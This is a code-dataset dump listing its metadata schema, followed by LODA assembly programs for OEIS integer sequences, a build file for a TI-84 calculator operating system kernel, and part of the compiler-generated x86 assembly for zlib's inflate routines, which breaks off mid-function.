hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
add53d613c40b06d7f8569ddb54ee8e0cae4af9d
1,561
asm
Assembly
programs/oeis/139/A139734.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/139/A139734.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/139/A139734.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A139734: a(n) = 10^n mod 3^n. ; 0,1,1,1,37,127,541,1036,3799,5185,51850,164206,224884,1185958,3887965,5398867,10941949,66372769,276307201,438549076,3223229293,7824802123,15485902012,60715841293,42299339968,705422936161,1970497704952,1911916251217,11493565027183,23428480451986,28393672425211,283936724252110,986347053669259,598369592433385,424635357778327,37600716977116408,125849444276165545,207831995682661603,727468239153623941,1871275520844271054,2502534596366805472,710015045554197118,43573146832712757583,326312479195615216621,637069052799855545194,1446836017080499287535,2651109344601658080778,8785217206711578615922,8085728990243276295859,80857289902432762958590,329974240563092570405734,1146048442555367937746593,2845708573251448312222942,15534921954061136524364938,283254199171206069275596,2832541991712060692755960,202774630926240785998730107,981051043207686785560278028,390253037584378185759572902,8612659073090026692517332709,29605046363945328906114082822,126485830538588475003963095416,374643981606344476239447856939,694276420247878109365279378918,1219957835324593619223045307045,5332210712660911222914754891888,1816849822221424959279812579665,79974806987479474316639409403708,243491290987407720651822541573558,766142573211916138974510758345014,1820729553801597653342106282583159,3188362508056526925527630909316496,16864692050605819647382877176649866,10948123691483975590947736643090173,41896038280022232673956922806583807,418960382800222326739569228065838070 mov $1,$0 min $0,1 mov $2,3 pow $2,$1 lpb $1 mul $0,10 mod $0,$2 sub $1,1 lpe
120.076923
1,443
0.913517
984a47712370bef7fadaaf152d2f061b1e03afeb
280
asm
Assembly
programs/oeis/022/A022105.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/022/A022105.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/022/A022105.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A022105: Fibonacci sequence beginning 1, 15. ; 1,15,16,31,47,78,125,203,328,531,859,1390,2249,3639,5888,9527,15415,24942,40357,65299,105656,170955,276611,447566,724177,1171743,1895920,3067663,4963583,8031246,12994829 seq $0,22377 ; Fibonacci sequence beginning 2, 30. div $0,2
46.666667
171
0.778571
c7e859f10d97426e71f7118d6a4cc992cff20822
964
asm
Assembly
programs/oeis/168/A168187.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/168/A168187.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/168/A168187.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A168187: a(n) = n^3*(n^6 + 1)/2. ; 0,1,260,9855,131104,976625,5038956,20176975,67109120,193710609,500000500,1178974511,2579891040,5302250785,10330524764,19221681375,34359740416,59293940705,99179648100,161343852319,256000004000,397140027921,603634614220,900576336815,1320903777024,1907348640625,2714751848276,3812798752335,5289227987680,7253573000129,9841500013500,13219811095231,17592186060800,23205742218945,30358496402884,39407819357375,50779978357536,64980869922865,82608050658860,104364180609039,131072000032000,163690967231441,203335691961780,251296306008175,309060919797344,378340321334625,461095081383196,559565236603295,676302730352640,814206799014049,976562500062500,1167082586611551,1389952941888160,1649881795975505,1952152956235404,2302683292075375,2708084724160256,3175730977784625,3713829369920020,4331497909430159,5038848000108000,5847073046530561,6768543273250940,7816907078551935,9007199254872064 mov $1,$0 pow $0,3 pow $1,9 add $1,$0 div $1,2
107.111111
880
0.885892
df1d69cf277e7e18fc2e63013458fbf2fa6883f1
3,617
asm
Assembly
sorcery.asm
TheMachine02/Sorcery
ee657f5a64049bee0c947add7ff2cb92d7281ec1
[ "MIT" ]
14
2020-05-27T13:20:35.000Z
2022-02-10T01:19:54.000Z
sorcery.asm
TheMachine02/Sorcery
ee657f5a64049bee0c947add7ff2cb92d7281ec1
[ "MIT" ]
10
2020-06-12T20:53:03.000Z
2021-03-21T23:11:44.000Z
sorcery.asm
TheMachine02/Sorcery
ee657f5a64049bee0c947add7ff2cb92d7281ec1
[ "MIT" ]
84
2020-06-11T06:27:03.000Z
2021-05-29T17:06:24.000Z
include 'header/include/ez80.inc' include 'header/include/tiformat.inc' include 'header/include/os.inc' ; kernel header include 'header/asm-errno.inc' include 'header/asm-signal.inc' include 'header/asm-leaf-def.inc' include 'header/asm-boot.inc' ; kernel build config include 'config' format ti executable 'SORCERY' ;------------------------------------------------------------------------------- os_create ;------------------------------------------------------------------------------- ;------------------------------------------------------------------------------- os_rom ;------------------------------------------------------------------------------- sorcery: include 'certificate.asm' ; we'll set as occupying 1 sectors - or 64KB db $5A, $A5, $FF, $01 jp sorcery_end jp init sorcery_hypervisor: jp kinterrupt.irq_handler jp nmi.handler jp restart.10h jp restart.18h jp restart.20h jp restart.28h jp restart.30h ; align this to 4 bytes sysjump: jp _open jp _close jp _rename jp _enosys ; _link jp _enosys ; _unlink jp _read jp _write jp _lseek jp _chdir jp _sync jp _access jp _chmod jp _chown jp _stat jp _fstat jp _dup jp _getpid jp _getppid jp _enosys ; _statfs jp _execve jp _enosys ; _getdirent jp _time jp _stime jp _ioctl jp _brk jp _sbrk jp _enosys ; _vfork jp _enosys ; _mount jp _enosys ; _umount jp _enosys ; _signal jp _pause jp _alarm jp _kill jp _pipe jp _times jp _clock jp _chroot jp _enosys ; _fcntl jp _fchdir jp _fchmod jp _fchown jp _mkdir jp _rmdir jp _mknod jp _mkfifo jp _uname jp _enosys ; _waitpid jp _profil jp _uadmin jp _nice jp _enosys ; _sigdisp jp _enosys ; _flock jp _yield jp _schedule jp _kmalloc jp _kfree jp _enosys ; _select jp _enosys ; _getrlimit jp _enosys ; _setrlimit jp _enosys ; _setsid jp _enosys ; _getsid jp _shutdown jp _reboot jp _usleep jp _flash_lock jp _flash_unlock jp _printk ; jp _socket ; jp _listen ; jp _bind ; jp _connect ; jp _accept ; jp _getsockaddrs ; jp _sendto ; jp _recvfrom include 'kernel/init.asm' include 'kernel/interrupt.asm' include 'kernel/watchdog.asm' include 'kernel/power.asm' include 'kernel/thread.asm' include 'kernel/queue.asm' include 'kernel/clock.asm' include 'kernel/fifo.asm' include 'kernel/signal.asm' include 'kernel/restart.asm' include 'kernel/syscall.asm' include 'kernel/timer.asm' include 'kernel/vfs.asm' include 'kernel/dma.asm' include 'kernel/inode.asm' ; be sure we are in the correct spot for NMI assert $ < $0220A8 rb $0220A8-$ include 'kernel/nmi.asm' include 'kernel/arch/atomic.asm' include 'kernel/arch/debug.asm' include 'kernel/mm/mm.asm' include 'kernel/mm/vfs_cache.asm' include 'kernel/mm/slab.asm' include 'kernel/arch/pic.asm' include 'kernel/arch/leaf.asm' include 'kernel/arch/ldso.asm' include 'kernel/compress/lz4.asm' include 'fs/romfs.asm' include 'fs/tifs.asm' ; kernel_romfs: ; file 'rootfs' include 'kernel/font/gohufont.inc' ; driver & device include 'kernel/driver/video.asm' include 'kernel/driver/rtc.asm' include 'kernel/driver/hrtimer.asm' include 'kernel/driver/keyboard.asm' include 'kernel/driver/spi.asm' include 'kernel/driver/usb.asm' include 'kernel/driver/mtd.asm' include 'kernel/driver/console.asm' ; NOTE : dev console must follow driver/console code include 'kernel/dev/console.asm' include 'kernel/dev/null.asm' include 'kernel/dev/flash.asm' init_conway: include 'conway.asm' sorcery_end:
21.789157
81
0.647498
99bd493d23e640cd8e20193539f073ea56abab06
776
asm
Assembly
oeis/217/A217526.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/217/A217526.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/217/A217526.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A217526: From the enumeration of involutions avoiding the pattern 4321. ; Submitted by Christian Krause ; 0,0,0,0,0,2,6,18,47,123,318,830,2182,5792,15504,41828,113626,310564,853458,2356770,6536372,18199274,50852008,142547548,400763211,1129760403,3192727784,9043402488,25669818462,73007772788,208023278194,593742784814,1697385471195,4859761676375,13933569346690,40002464776066,114988706524252,330931069469810,953467954114344,2750016719520972,7939655757745245,22944749046030929,66368199913921476,192137918101841796,556704809728838582,1614282136160911700,4684478925507420046,13603677110519480266 sub $0,2 mov $1,1 mov $2,1 mov $3,$0 mov $4,2 lpb $3 mul $1,$3 sub $3,1 mul $1,$3 add $5,$4 div $1,$5 sub $2,1 add $2,$1 sub $3,1 add $4,2 lpe mov $0,$2 sub $0,1
33.73913
488
0.78866
3695e98cb7e494b7d7cf1c26599fd16cb03ac164
4,066
asm
Assembly
src/state-password.asm
santiontanon/westen
252e63499adf861cc537fd60215c61d1bef3c5d1
[ "Apache-2.0" ]
49
2021-09-22T04:12:15.000Z
2022-02-25T07:16:48.000Z
src/state-password.asm
santiontanon/westen
252e63499adf861cc537fd60215c61d1bef3c5d1
[ "Apache-2.0" ]
2
2021-09-26T19:46:28.000Z
2021-09-28T00:25:06.000Z
src/state-password.asm
santiontanon/westen
252e63499adf861cc537fd60215c61d1bef3c5d1
[ "Apache-2.0" ]
4
2021-09-26T16:45:52.000Z
2022-01-09T21:20:17.000Z
;----------------------------------------------- state_password_lock: push ix call state_password_lock_internal pop ix ret state_password_lock_internal: ld bc, TEXT_USE_VAMPIRE_DOOR_BANK + 256*TEXT_USE_VAMPIRE_DOOR_IDX call queue_hud_message ld hl,password_lock_zx0 ld de,buffer1024 call decompress_from_page1 xor a ld hl,CLRTBL2 + (7*32 + 11)*8 ld bc,#050a call clear_rectangle_bitmap_mode_color ld ix,buffer1024 ld iy,8 ld de,CHRTBL2+(8*32+12)*8 ld bc,#0308 ld hl,buffer1024+8*3 ld (draw_hud_chunk_tile_ptr),hl call draw_hud_chunk ; set up pointer sprite: ld hl,keyword_lock_pointer_sprite ld de,SPRTBL2+7*32 ld bc,32 call fast_LDIRVM ld hl,buffer1024+900 ; enough to give space for the text data ld (hl),56 inc hl ld (hl),13*8-1 inc hl ld (hl),7*4 inc hl ld (hl),COLOR_WHITE inc hl ld (hl),0 ; current position ld b,6 state_password_init_loop: inc hl ld (hl),0 djnz state_password_init_loop ; password starts at: buffer1024+900+5 call state_password_draw_current_password state_password_lock_loop: halt ld a,(interrupt_cycle) bit 3,a ld a,COLOR_WHITE jr z,state_password_lock_loop_blink xor a state_password_lock_loop_blink: ld hl,buffer1024+900+3 ld (hl),a ; color inc hl ld a,(hl) add a,a add a,a add a,a add a,13*8-1 ld hl,buffer1024+900+1 ld (hl),a ; x dec hl ld de,SPRATR2+7*4 ld bc,4 call fast_LDIRVM call update_hud_messages call update_keyboard_buffers ld a,(keyboard_line_clicks+KEY_BUTTON1_BYTE) bit KEY_BUTTON1_BIT,a jr nz,state_password_lock_loop_exit bit KEY_LEFT_BIT,a jr nz,state_password_lock_left bit KEY_RIGHT_BIT,a jr nz,state_password_lock_right bit KEY_UP_BIT,a jr nz,state_password_lock_up bit KEY_DOWN_BIT,a jr nz,state_password_lock_down jr state_password_lock_loop state_password_lock_loop_exit: ; remove pointer sprite ld a,200 ld hl,SPRATR2+7*4 call WRTVRM ; re-render the room: ld de,11 + 7*256 ld bc,10+5*256 jp render_room_rectangle state_password_lock_left: ld hl,buffer1024+900+4 ld a,(hl) or a jr z,state_password_lock_loop dec (hl) ld hl,SFX_ui_move call play_SFX_with_high_priority jr state_password_lock_loop state_password_lock_right: ld hl,buffer1024+900+4 ld a,(hl) cp 5 jr z,state_password_lock_loop inc (hl) ld hl,SFX_ui_move call play_SFX_with_high_priority jr state_password_lock_loop state_password_lock_up: ld a,(buffer1024+900+4) ; current position ld hl,buffer1024+900+5 ADD_HL_A ld a,(hl) or a jr z,state_password_lock_up_reset dec a jr state_password_lock_up_continue state_password_lock_up_reset: ld a,26 state_password_lock_up_continue ld (hl),a call state_password_draw_current_password ld hl,SFX_ui_move call play_SFX_with_high_priority jp state_password_lock_loop state_password_lock_down: ld a,(buffer1024+900+4) ; current position ld hl,buffer1024+900+5 ADD_HL_A ld a,(hl) cp 26 jr z,state_password_lock_down_reset inc a jr state_password_lock_down_continue state_password_lock_down_reset: xor a state_password_lock_down_continue ld (hl),a call state_password_draw_current_password ld hl,SFX_ui_move call play_SFX_with_high_priority jp state_password_lock_loop ; password starts at buffer1024+900+5 ; we use a temporary string buffer in buffer1024+900+5+6 state_password_draw_current_password: ld b,6 ld hl,buffer1024+900+5 ld de,CHRTBL2+(9*32+13)*8 state_password_draw_current_password_loop: push hl push bc push de call state_password_draw_current_password_character pop hl ld bc,8 add hl,bc ex de,hl pop bc pop hl inc hl djnz state_password_draw_current_password_loop ret state_password_draw_current_password_character: push de ld a,(hl) ld hl,combination_lock_letters ADD_HL_A ld a,(hl) push af ld hl,text_draw_buffer ld bc,8 ld a,#01 call clear_memory_a pop af ld hl,buffer1024+900+5+6 ld (hl),1 ; length of the string = 1 inc hl ld (hl),a dec hl pop de ld iy,COLOR_DARK_RED + #4000 ld bc,8 jp draw_sentence
19.089202
66
0.756272
9682a1b964665795176c802e25df8513ddacf2bd
106,551
asm
Assembly
non_regression/other_x86_linux_40.s.asm
LRGH/plasmasm
4cd50546c3dc895763d72dd60b7c46179c1916bc
[ "Apache-2.0" ]
1
2021-02-28T21:31:18.000Z
2021-02-28T21:31:18.000Z
non_regression/other_x86_linux_40.s.asm
LRGH/plasmasm
4cd50546c3dc895763d72dd60b7c46179c1916bc
[ "Apache-2.0" ]
null
null
null
non_regression/other_x86_linux_40.s.asm
LRGH/plasmasm
4cd50546c3dc895763d72dd60b7c46179c1916bc
[ "Apache-2.0" ]
null
null
null
.file "inflate.c" .section .text.unlikely,"ax",@progbits .LCOLDB0: .LCOLDE0: .LCOLDB1: .LCOLDE1: .LCOLDB2: .LCOLDE2: .LCOLDB3: .LCOLDE3: .LCOLDB4: .LCOLDE4: .LCOLDB5: .LCOLDE5: .LCOLDB24: .LCOLDE24: .LCOLDB25: .LCOLDE25: .LCOLDB26: .LCOLDE26: .LCOLDB27: .LCOLDE27: .LCOLDB28: .LCOLDE28: .LCOLDB29: .LCOLDE29: .LCOLDB30: .LCOLDE30: .LCOLDB31: .LCOLDE31: .LCOLDB32: .LCOLDE32: .LCOLDB33: .LCOLDE33: # ---------------------- .text .LHOTB0: # ---------------------- .p2align 4,,15 # ---------------------- .globl inflateResetKeep .type inflateResetKeep, @function inflateResetKeep: .cfi_startproc movl 4(%esp), %edx testl %edx, %edx je .L5 movl 28(%edx), %eax testl %eax, %eax je .L5 movl 8(%eax), %ecx movl $0, 28(%eax) movl $0, 20(%edx) movl $0, 8(%edx) movl $0, 24(%edx) testl %ecx, %ecx je .L3 andl $1, %ecx movl %ecx, 48(%edx) .L3: leal 1328(%eax), %edx movl $0, (%eax) movl $0, 4(%eax) movl $0, 12(%eax) movl $32768, 20(%eax) movl $0, 32(%eax) movl $0, 56(%eax) movl $0, 60(%eax) movl %edx, 108(%eax) movl %edx, 80(%eax) movl %edx, 76(%eax) movl $1, 7104(%eax) movl $-1, 7108(%eax) xorl %eax, %eax ret .p2align 4,,10 .p2align 3 .L5: movl $-2, %eax ret .LHOTE0: .LHOTB1: .cfi_endproc .size inflateResetKeep, .-inflateResetKeep # ---------------------- .p2align 4,,15 # ---------------------- .globl inflateReset .type inflateReset, @function inflateReset: .cfi_startproc movl 4(%esp), %edx testl %edx, %edx je .L14 movl 28(%edx), %eax testl %eax, %eax je .L14 movl 8(%eax), %ecx movl $0, 40(%eax) movl $0, 44(%eax) movl $0, 48(%eax) movl $0, 28(%eax) movl $0, 20(%edx) testl %ecx, %ecx movl $0, 8(%edx) movl $0, 24(%edx) je .L12 andl $1, %ecx movl %ecx, 48(%edx) .L12: leal 1328(%eax), %edx movl $0, (%eax) movl $0, 4(%eax) movl $0, 12(%eax) movl $32768, 20(%eax) movl $0, 32(%eax) movl $0, 56(%eax) movl $0, 60(%eax) movl %edx, 108(%eax) movl %edx, 80(%eax) movl %edx, 76(%eax) movl $1, 7104(%eax) movl $-1, 7108(%eax) xorl %eax, %eax ret .p2align 4,,10 .p2align 3 .L14: movl $-2, %eax ret .LHOTE1: .LHOTB2: .cfi_endproc .size inflateReset, .-inflateReset # ---------------------- .p2align 4,,15 # ---------------------- .globl inflateReset2 .type inflateReset2, @function inflateReset2: .cfi_startproc pushl %ebp pushl %edi pushl %esi pushl %ebx subl $12, %esp movl 32(%esp), %esi movl 36(%esp), %ebx testl %esi, %esi je .L21 movl 28(%esi), %edi testl %edi, %edi je .L21 testl %ebx, %ebx js .L46 movl %ebx, %ebp sarl $4, %ebp addl $1, %ebp cmpl $47, %ebx jle .L47 .L23: leal -8(%ebx), %eax cmpl $7, %eax jbe .L28 testl %ebx, %ebx jne .L21 .L28: movl 52(%edi), %eax testl %eax, %eax je .L25 cmpl 36(%edi), %ebx je .L25 subl $8, %esp pushl %eax pushl 40(%esi) call *36(%esi) movl 28(%esi), %eax addl $16, %esp movl $0, 52(%edi) movl %ebp, 8(%edi) movl %ebx, 36(%edi) testl %eax, %eax jne .L27 .L21: movl $-2, %eax jmp .L44 .p2align 4,,10 .p2align 3 .L25: movl %ebp, 8(%edi) movl %ebx, 36(%edi) movl %edi, %eax .L27: movl 8(%eax), %edx movl $0, 40(%eax) movl $0, 44(%eax) movl $0, 48(%eax) movl $0, 28(%eax) movl $0, 20(%esi) testl %edx, %edx movl $0, 8(%esi) movl $0, 24(%esi) jne .L48 .L26: leal 1328(%eax), %edx movl $0, (%eax) movl $0, 4(%eax) movl $0, 12(%eax) movl $32768, 20(%eax) movl $0, 32(%eax) movl $0, 56(%eax) movl $0, 60(%eax) movl %edx, 108(%eax) movl %edx, 80(%eax) movl %edx, 76(%eax) movl $1, 7104(%eax) movl $-1, 7108(%eax) xorl %eax, %eax .L44: addl $12, %esp popl %ebx popl %esi popl %edi popl %ebp ret .p2align 4,,10 .p2align 3 .L48: andl $1, %edx movl %edx, 48(%esi) jmp .L26 .p2align 4,,10 .p2align 3 .L47: andl $15, %ebx jmp .L23 .p2align 4,,10 .p2align 3 .L46: negl %ebx xorl %ebp, %ebp jmp .L23 .LHOTE2: .LHOTB3: .cfi_endproc .size inflateReset2, .-inflateReset2 # ---------------------- .p2align 4,,15 # ---------------------- .globl inflateInit2_ .type inflateInit2_, @function inflateInit2_: .cfi_startproc pushl %esi pushl %ebx subl $4, %esp movl 24(%esp), %eax movl 16(%esp), %ebx movl 20(%esp), %esi testl %eax, %eax je .L64 cmpb $49, (%eax) jne .L64 cmpl $56, 28(%esp) jne .L64 testl %ebx, %ebx je .L65 movl 32(%ebx), %eax movl $0, 24(%ebx) testl %eax, %eax je .L51 movl 40(%ebx), %edx .L52: movl 36(%ebx), %ecx testl %ecx, %ecx je .L77 .L53: subl $4, %esp pushl $7116 pushl $1 pushl %edx call *%eax addl $16, %esp testl %eax, %eax je .L78 testl %esi, %esi movl %eax, 28(%ebx) movl $0, 52(%eax) js .L79 movl %esi, %edx sarl $4, %edx addl $1, %edx cmpl $47, %esi jg .L54 andl $15, %esi .L54: leal -8(%esi), %ecx cmpl $7, %ecx jbe .L62 .L81: testl %esi, %esi jne .L80 .L62: testl %edx, %edx movl %edx, 8(%eax) movl %esi, 36(%eax) movl $0, 40(%eax) movl $0, 44(%eax) movl $0, 48(%eax) movl $0, 28(%eax) movl $0, 20(%ebx) movl $0, 8(%ebx) movl $0, 24(%ebx) jne .L58 .p2align 4,,10 .p2align 3 .L59: leal 1328(%eax), %edx movl $0, (%eax) movl $0, 4(%eax) movl $0, 12(%eax) movl $32768, 20(%eax) movl $0, 32(%eax) movl $0, 56(%eax) movl $0, 60(%eax) movl %edx, 108(%eax) movl %edx, 80(%eax) movl %edx, 76(%eax) movl $1, 7104(%eax) movl $-1, 7108(%eax) xorl %eax, %eax .L70: addl $4, %esp popl %ebx popl %esi ret .L58: andl $1, %edx movl %edx, 48(%ebx) jmp .L59 .L79: negl %esi xorl %edx, %edx leal -8(%esi), %ecx cmpl $7, %ecx ja .L81 jmp .L62 .p2align 4,,10 .p2align 3 .L77: movl $zcfree, 36(%ebx) jmp .L53 .p2align 4,,10 .p2align 3 .L51: movl $zcalloc, 32(%ebx) movl $0, 40(%ebx) xorl %edx, %edx movl $zcalloc, %eax jmp .L52 .p2align 4,,10 .p2align 3 .L64: addl $4, %esp movl $-6, %eax popl %ebx popl %esi ret .p2align 4,,10 .p2align 3 .L80: subl $8, %esp pushl %eax pushl 40(%ebx) call *36(%ebx) movl $0, 28(%ebx) addl $16, %esp movl $-2, %eax jmp .L70 .p2align 4,,10 .p2align 3 .L78: movl $-4, %eax jmp .L70 .L65: movl $-2, %eax jmp .L70 .LHOTE3: .LHOTB4: .cfi_endproc .size inflateInit2_, .-inflateInit2_ # ---------------------- .p2align 4,,15 # ---------------------- .globl inflateInit_ .type inflateInit_, @function inflateInit_: .cfi_startproc pushl %ebx subl $8, %esp movl 20(%esp), %eax movl 16(%esp), %ebx testl %eax, %eax je .L91 cmpb $49, (%eax) jne .L91 cmpl $56, 24(%esp) jne .L91 testl %ebx, %ebx je .L92 movl 32(%ebx), %eax movl $0, 24(%ebx) testl %eax, %eax je .L84 movl 36(%ebx), %ecx movl 40(%ebx), %edx testl %ecx, %ecx je .L101 .L86: subl $4, %esp pushl $7116 pushl $1 pushl %edx call *%eax addl $16, %esp testl %eax, %eax je .L102 leal 1328(%eax), %edx movl %eax, 28(%ebx) movl $0, 52(%eax) movl $1, 8(%eax) movl $15, 36(%eax) movl $0, 40(%eax) movl $0, 44(%eax) movl $0, 48(%eax) movl $0, 28(%eax) movl $0, 20(%ebx) movl $0, 8(%ebx) movl $0, 24(%ebx) movl $1, 48(%ebx) movl $0, (%eax) movl $0, 4(%eax) movl $0, 12(%eax) movl $32768, 20(%eax) movl $0, 32(%eax) movl $0, 56(%eax) movl $0, 60(%eax) movl %edx, 108(%eax) movl %edx, 80(%eax) movl %edx, 76(%eax) movl $1, 7104(%eax) movl $-1, 7108(%eax) xorl %eax, %eax .p2align 4,,10 .p2align 3 .L96: addl $8, %esp popl %ebx ret .p2align 4,,10 .p2align 3 .L84: movl 36(%ebx), %ecx xorl %edx, %edx movl $zcalloc, 32(%ebx) movl $0, 40(%ebx) movl $zcalloc, %eax testl %ecx, %ecx jne .L86 .p2align 4,,10 .p2align 3 .L101: movl $zcfree, 36(%ebx) jmp .L86 .p2align 4,,10 .p2align 3 .L91: addl $8, %esp movl $-6, %eax popl %ebx ret .p2align 4,,10 .p2align 3 .L102: movl $-4, %eax jmp .L96 .L92: movl $-2, %eax jmp .L96 .LHOTE4: .LHOTB5: .cfi_endproc .size inflateInit_, .-inflateInit_ # ---------------------- .p2align 4,,15 # ---------------------- .globl inflatePrime .type inflatePrime, @function inflatePrime: .cfi_startproc pushl %esi pushl %ebx movl 12(%esp), %eax movl 16(%esp), %ecx testl %eax, %eax je .L109 movl 28(%eax), %edx testl %edx, %edx je .L109 testl %ecx, %ecx js .L111 cmpl $16, %ecx jg .L109 movl 60(%edx), %esi leal (%ecx,%esi), %ebx cmpl $32, %ebx ja .L109 movl $1, %eax movl %ebx, 60(%edx) sall %cl, %eax movl %esi, %ecx subl $1, %eax andl 20(%esp), %eax sall %cl, %eax addl %eax, 56(%edx) xorl %eax, %eax .L104: popl %ebx popl %esi ret .p2align 4,,10 .p2align 3 .L111: movl $0, 56(%edx) movl $0, 60(%edx) xorl %eax, %eax popl %ebx popl %esi ret .p2align 4,,10 .p2align 3 .L109: movl $-2, %eax jmp .L104 .LHOTE5: .LHOTB24: .cfi_endproc .size inflatePrime, .-inflatePrime # ---------------------- .section .rodata.str1.1,"aMS",@progbits,1 .LC6: .string "incorrect header check" .LC7: .string "unknown compression method" .LC8: .string "invalid window size" .LC9: .string "unknown header flags set" .LC10: .string "header crc mismatch" .LC11: .string "invalid block type" .LC12: .string "invalid stored block lengths" .LC14: .string "invalid code lengths set" .LC15: .string "invalid bit length repeat" .LC17: .string "invalid literal/lengths set" .LC18: .string "invalid distances set" .LC19: .string "invalid literal/length code" .LC20: .string "invalid distance code" .LC21: .string "invalid distance too far back" .LC22: .string "incorrect data check" .LC23: .string "incorrect length check" # ---------------------- .section .rodata.str1.4,"aMS",@progbits,1 .align 4 .LC13: .string "too many length or distance symbols" .align 4 .LC16: .string "invalid code -- missing end-of-block" # ---------------------- .text .p2align 4,,15 # ---------------------- .globl inflate .type inflate, @function inflate: .cfi_startproc pushl %ebp pushl %edi pushl %esi pushl %ebx subl $108, %esp movl 128(%esp), %eax testl %eax, %eax je .L387 movl 128(%esp), %eax movl 28(%eax), %edi testl %edi, %edi je .L387 movl 12(%eax), %eax testl %eax, %eax movl %eax, 12(%esp) je .L387 movl 128(%esp), %eax movl (%eax), %ebp testl %ebp, %ebp je .L114 movl 4(%eax), %eax movl %eax, 24(%esp) .L115: movl (%edi), %eax cmpl $11, %eax je .L774 .L116: movl 128(%esp), %ecx movl 132(%esp), %edx movl %edi, 4(%esp) movl $0, 28(%esp) movl 16(%ecx), %esi movl 56(%edi), %ecx movl %esi, %ebx movl %ecx, 8(%esp) leal -5(%edx), %ecx movl %ebx, 20(%esp) movl 24(%esp), %ebx leal 752(%edi), %edx movl %ecx, 48(%esp) leal 1328(%edi), %ecx movl %esi, 16(%esp) movl %edx, 52(%esp) movl 60(%edi), %esi movl %ecx, 56(%esp) movl %ebx, %edi .L117: cmpl $30, %eax ja .L387 .L707: jmp *.L120(,%eax,4) .p2align 4,,10 .p2align 3 .L129: cmpl $31, %esi ja .L165 testl %edi, %edi je .L764 movzbl (%ebp), %eax movl %esi, %ecx leal -1(%edi), %edx leal 1(%ebp), %ebx sall %cl, %eax leal 8(%esi), %ecx addl %eax, 8(%esp) cmpl $31, %ecx ja .L396 testl %edx, %edx je .L435 movzbl 1(%ebp), %eax leal -2(%edi), %edx leal 2(%ebp), %ebx sall %cl, %eax leal 16(%esi), %ecx addl %eax, 8(%esp) cmpl $31, %ecx ja .L396 testl %edx, %edx je .L435 movzbl 2(%ebp), %eax addl $24, %esi leal -3(%edi), %edx leal 3(%ebp), %ebx sall %cl, %eax addl %eax, 8(%esp) cmpl $31, %esi ja .L396 testl %edx, %edx je .L397 movzbl 3(%ebp), %eax movl %esi, %ecx leal 4(%ebp), %ebx subl $4, %edi sall %cl, %eax addl %eax, 8(%esp) .L166: movl %ebx, %ebp .L165: movl 8(%esp), %esi movl 128(%esp), %ebx movl $0, 8(%esp) movl %esi, %edx movl %esi, %eax shrl $24, %eax sall $24, %edx addl %eax, %edx movl %esi, %eax shrl $8, %eax andl $65280, %eax addl %eax, %edx movl %esi, %eax movl 4(%esp), %esi andl $65280, %eax sall $8, %eax addl %edx, %eax movl %eax, 24(%esi) movl %eax, 48(%ebx) movl $10, (%esi) xorl %esi, %esi .L130: movl 4(%esp), %eax movl 12(%eax), %ecx testl %ecx, %ecx je .L775 subl $4, %esp pushl $0 pushl $0 pushl $0 call adler32 movl 20(%esp), %edx movl 144(%esp), %ebx addl $16, %esp movl %eax, 24(%edx) movl %eax, 48(%ebx) movl $11, (%edx) .L131: cmpl $1, 48(%esp) jbe .L764 .L132: movl 4(%esp), %eax movl 4(%eax), %edx testl %edx, %edx jne .L235 cmpl $2, %esi ja .L409 testl %edi, %edi je .L764 movzbl (%ebp), %eax movl %esi, %ecx leal 1(%ebp), %edx subl $1, %edi addl $8, %esi sall %cl, %eax addl %eax, 8(%esp) .L236: movl 8(%esp), 